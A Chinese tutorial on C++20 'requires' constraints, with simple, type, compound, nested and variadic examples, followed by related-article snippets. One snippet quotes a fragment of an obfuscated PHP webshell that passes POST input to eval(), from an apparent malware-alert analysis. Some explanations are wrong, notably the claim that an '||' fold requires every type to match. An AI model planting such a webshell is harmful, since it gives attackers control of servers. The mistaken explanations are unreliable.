C++20之requires

目录

  • 概述
    • requires 基础用法
    • 简单要求:检查成员函数和成员变量
    • 类型要求:检查类型成员和类型兼容性
    • 复合要求:多个约束组合
    • 限制表达式不抛出异常
    • 嵌套要求:细化约束条件
    • 可变参数模板中的 requires
  • 总结与优化

概述

在 C++20 中,requires 关键字是对模板编程能力的显著增强,它通过提供类型约束,帮助开发者在编译期捕捉类型不匹配的问题,而不是依赖运行时错误。requires 可以帮助我们检查某个类型是否满足特定条件,避免了编写错误的模板代码,提升了程序的可读性、可维护性和健壮性。

本文将介绍如何使用 requires 关键字进行模板约束,包括简单要求、类型要求、复合要求、嵌套要求及其在可变参数模板中的应用。我们将逐步展示如何利用这些特性提升代码的类型安全性。

requires 基础用法

requires 用于约束模板参数,它帮助我们在模板代码中明确指定哪些条件需要满足。最常见的应用是验证某个类型是否支持特定的方法或属性。

template <typename M>
requires requires(M m) {m.powerUp();m.powerDown();
}
void startMachine(M m) {m.powerUp();m.powerDown();
}

在这个例子中,requires 关键字表示类型 M 必须具有 powerUp() 和 powerDown() 两个成员函数。如果 M 类型不具备这些函数,编译时就会报错,避免了运行时错误。

简单要求:检查成员函数和成员变量

requires 语句可以用于检查类型是否包含特定的成员函数或变量。这种方式称为 简单要求,它能够非常直接地限制模板参数的类型。

template<typename T>
requires requires(T t) {t.play();t.count;t.age;
}
void playAnimal(T t) {t.play();
}

在这个例子中,requires 语句确保类型 T 必须有 play() 函数、静态成员 count 和成员变量 age。如果 T 类型不符合这些要求,编译会失败。

类型要求:检查类型成员和类型兼容性

除了检查成员函数和变量,requires 还可以用于检查类型的 成员类型 或者 类型兼容性。例如,检查某个类型是否包含特定的 type 成员,或者是否可以用特定的容器(如 std::vector)存储。

template<typename T>
requires requires {typename T::type;typename std::vector<T>;
}
void storeInVector(T t) {std::vector<T> v;v.push_back(t);
}

在这个例子中,requires 语句要求类型 T 必须有一个类型成员 type,并且 std::vector 必须能够正常工作。只有满足这些条件时,才能使用该模板函数。

复合要求:多个约束组合

在某些情况下,我们需要检查多个条件,requires 支持 复合要求,可以组合多个条件进行检查。这些条件可以包括成员函数、成员变量、类型等。

template<typename T>
requires requires(T t) {{ t.powerUp() };{ t.powerDown() };
}
void operateMachine(T t) {t.powerUp();t.powerDown();
}

上面的例子中,requires 语句检查了类型 T 是否具有 powerUp() 和 powerDown() 两个函数。只要满足这两个条件,operateMachine() 函数就可以正常使用。

限制表达式不抛出异常

有时候,我们希望对类型的行为提出更严格的要求,尤其是涉及异常的情况。在这种情况下,可以使用 noexcept 来确保某些操作不会抛出异常。

template<typename T>
requires requires(T a, T b) {{ a = std::move(b) } noexcept;
}
void moveAssign(T& a, T& b) {a = std::move(b);
}

此示例中的 requires 语句确保 a = std::move(b) 操作不会抛出异常。如果类型 T 不支持 noexcept 版本的移动赋值操作,则编译会失败。

嵌套要求:细化约束条件

requires 语句不仅可以在外部进行简单的检查,还可以进行 嵌套要求,用来检查更复杂的条件。例如,我们可以组合多个 requires 语句,通过嵌套的方式进行约束。

template<typename T>
requires requires(T t) {requires sizeof(T) > sizeof(void*);requires std::is_trivial_v<T>;
}
void processTrivialType(T t) {// 处理基本类型
}

在这里,requires 被嵌套使用,确保 T 的大小大于指针类型的大小,并且类型 T 必须是平凡类型。只有满足这两个条件时,processTrivialType 才能工作。

可变参数模板中的 requires

requires 也能应用于 可变参数模板 中。在处理多个类型时,requires 语句可以检查每个类型是否满足某些条件,或者组合所有条件。

template<typename... Ts>
requires (std::is_integral_v<typename Ts::type> || ...)
void checkTypes(Ts... args) {// 处理符合要求的类型
}

此示例中的 requires 语句使用了折叠表达式 (std::is_integral_v || …),确保类型包中的每个类型都满足某些条件。只有当所有类型都符合要求时,模板函数才会被实例化。

总结与优化

C++20 中的 requires 关键字显著提升了模板编程的能力。通过它,开发者可以在编译期对模板参数进行精细的类型检查,而不是依赖运行时错误。通过结合 简单要求、类型要求、复合要求、嵌套要求 等技巧,开发者可以创建更加健壮、类型安全的模板代码。

优化技巧:

  • 简化代码: 使用 requires 来明确限制模板参数类型,使得代码更简洁且易于维护。
  • 编译期检查: 利用 requires 捕获编译时错误,避免了潜在的运行时错误。
  • 组合约束: 通过组合多个约束,能够精细化控制模板的类型要求,提升代码的灵活性和可读性。

C++20 的 requires 关键字是一个强大的工具,能够帮助开发者在模板编程中更好地管理类型约束,提高代码的安全性和可靠性。希望本文能帮助你更好地理解和使用这一新特性,提升你的 C++ 编程水平。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/890007.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue自定义颜色选择器(重置版)

实现效果 相较于上次发布的颜色选择器&#xff0c;这次加入了圆形的选择器&#xff0c;并且优化了代码。 <SquareColor ref"squareColor" :color"color" change"changeColor1" />setColor1() {// this.color rgba(255, 82, 111, 0.5)thi…

timestamp 时间戳转换成日期的方法 | java.util

时间戳通常是一个long数据&#xff08;注意java中赋值时需要带上L标识是long整型&#xff0c;否则int过长报错&#xff09; 代码实现 常用工具类&#xff1a; java.util.Datejava.time.Instantjava.time.format.DateTimeFormatter toInstant() 方法的功能是将一个 Date 对象…

Minio入门搭建图片服务器

Minio入门搭建图片服务器 闲来无事&#xff0c;之前一直想弄弄图片服务器的软件&#xff0c;搜索了一下有zimg、Nginx、Thumbor、Minio等。想想之前也用过minio&#xff0c;所以就用这个搭建啦。 1. docker安装 docker run -d -p 9000:9000 -p 9001:9001 \ …

从腾讯云的恶意文件查杀学习下PHP的eval函数

问题来自于腾讯云的主机安全通知&#xff1a; &#x1f680;一键接入&#xff0c;畅享GPT及AI大模型服务&#xff01;【顶级API中转品牌】&#xff1a; https://api.ablai.top/ 病毒文件副本内容如下&#xff1a; <?php function x($x){eval($x);}x(str_rot13(riny($_CBF…

CISC RISC

CISC&#xff1a;设计目标是通过复杂的指令来提高代码密度&#xff0c;减少指令数量&#xff0c;适合内存资源较为有限的系统。CISC处理器的硬件复杂度较高&#xff0c;但在某些应用场合&#xff08;如桌面计算机&#xff09;能够提供足够的性能。 RISC&#xff1a;设计目标是…

ArcGIS地理空间平台manager存在任意文件读取漏洞

免责声明: 本文旨在提供有关特定漏洞的深入信息,帮助用户充分了解潜在的安全风险。发布此信息的目的在于提升网络安全意识和推动技术进步,未经授权访问系统、网络或应用程序,可能会导致法律责任或严重后果。因此,作者不对读者基于本文内容所采取的任何行为承担责任。读者在…

使用LSTM神经网络对股票日线行情进行回归训练(Pytorch版)

版权声明&#xff1a;本文为博主原创文章&#xff0c;如需转载请贴上原博文链接&#xff1a;使用LSTM神经网络对股票日线行情进行回归训练&#xff08;Pytorch版&#xff09;-CSDN博客 前言&#xff1a;近期在尝试使用lstm对股票日线数据进行拟合&#xff0c;初见成型但是效果不…

睡岗和玩手机数据集,4653张原始图,支持YOLO,VOC XML,COCO JSON格式的标注

睡岗和玩手机数据集&#xff0c;4653张原始图&#xff0c;支持YOLO&#xff0c;VOC XML&#xff0c;COCO JSON格式的标注 数据集分割 训练组70&#xff05; 3257图片 有效集20&#xff05; 931图片 测试集10&#xff05; 465图片 预处理 没有采用任何预处…

Pandas 索引

在 Pandas 中&#xff0c;索引&#xff08;Index&#xff09;是 DataFrame 和 Series 的核心组成部分&#xff0c;用于标识和访问数据。索引提供了快速、灵活和强大的数据检索方法。以下是关于 Pandas 索引的一些关键点&#xff1a; 1. 创建索引 当创建一个 DataFrame 或 Seri…

Flink是什么?Flink技术介绍

官方参考资料&#xff1a;Apache Flink — Stateful Computations over Data Streams | Apache Flink Flink是一个分布式流处理和批处理计算框架&#xff0c;具有高性能、容错性和灵活性。以下是关于Flink技术的详细介绍&#xff1a; 一、Flink概述 ‌定义‌&#xff1a;Fli…

labml.ai Deep Learning Paper Implementations (带注释的 PyTorch 版论文实现)

labml.ai Deep Learning Paper Implementations {带注释的 PyTorch 版论文实现} 1. labml.ai2. labml.ai Deep Learning Paper Implementations3. Sampling Techniques for Language Models (语言模型的采样技术)4. Multi-Headed Attention (MHA)References 1. labml.ai https…

使用 Marp 将 Markdown 导出为 PPT 后不可编辑的原因说明及解决方案

Marp 是一个流行的 Markdown 演示文稿工具&#xff0c;能够将 Markdown 文件转换为 PPTX 格式。然而&#xff0c;用户在使用 Marp 导出 PPT 时&#xff0c;可能会遇到以下问题&#xff1a; 导出 PPT 不可直接编辑的原因 根据 Marp GitHub 讨论&#xff0c;Marp 导出的 PPTX 文…

构建一个rust生产应用读书笔记四(实战2)

此门课程学习采用actix-web框架完成一个生产级别的rust应用&#xff0c;在 actix-web 中&#xff0c;Extractors 是一个非常重要的概念&#xff0c;它们用于从传入的 HTTP 请求中提取特定的信息片段。actix-web 提供了多种内置的提取器&#xff0c;以满足常见的使用场景。说白了…

优选生产报工系统:关键选择要素

【优选生产报工系统&#xff1a;数据分析、产品管理与基础数据登录的关键选择要素】 在快速变化的制造业环境中&#xff0c;生产报工系统的重要性不言而喻。它不仅仅是一种记录工时和监控生产进度的工具&#xff0c;更是一种能够实现数据驱动决策、优化产品管理和确保基础数据…

使用Python打造高效的PDF文件管理应用(合并以及分割)

在日常工作和学习中&#xff0c;我们经常需要处理大量PDF文件。手动合并、分割PDF不仅耗时&#xff0c;还容易出错。今天&#xff0c;我们将使用Python的wxPython和PyMuPDF库&#xff0c;开发一个强大且易用的PDF文件管理工具。 C:\pythoncode\new\mergeAndsplitPdf.py 所有代…

MyBatis写法汇总

Mybatis写法汇总 1. 批量操作 1.1 批量插入 <insert id"batchInsert" parameterType"java.util.List">INSERT INTO user (username, password, create_time) VALUES<foreach collection"list" item"item" separator"…

【C语言程序设计——入门】C语言程序开发环境(头歌实践教学平台习题)【合集】

目录&#x1f60b; <第1关&#xff1a;程序改错> 任务描述 相关知识 编程要求 测试说明 我的通关代码: 测试结果&#xff1a; <第2关&#xff1a;scanf 函数> 任务描述 相关知识 编程要求 测试说明 我的通关代码: 测试结果&#xff1a; <第1关&a…

You need to call SQLitePCL.raw.SetProvider()

在.NET环境中使用Entity Framework Core&#xff08;EF Core&#xff09;连接SQLite数据库时&#xff0c;报错。 使用框架 .NET8 错误信息&#xff1a; Exception: You need to call SQLitePCL.raw.SetProvider(). If you are using a bundle package, this is done by calling…

皮肤伤口分割数据集labelme格式248张5类别

数据集格式&#xff1a;labelme格式(不包含mask文件&#xff0c;仅仅包含jpg图片和对应的json文件) 图片数量(jpg文件个数)&#xff1a;284 标注数量(json文件个数)&#xff1a;284 标注类别数&#xff1a;5 标注类别名称:["bruises","burns","cu…

LeetCode 2255统计是给定字符串前缀的字符串数目

问题描述: 在字符串处理的编程任务中&#xff0c;经常会遇到判断一个字符串数组中的元素是否为另一个字符串前缀的情况。例如&#xff0c;给定一个字符串数组 words 和一个字符串 s&#xff0c;且 words[i] 和 s 都只包含小写英文字母&#xff0c;我们需要找出 words 中有多少…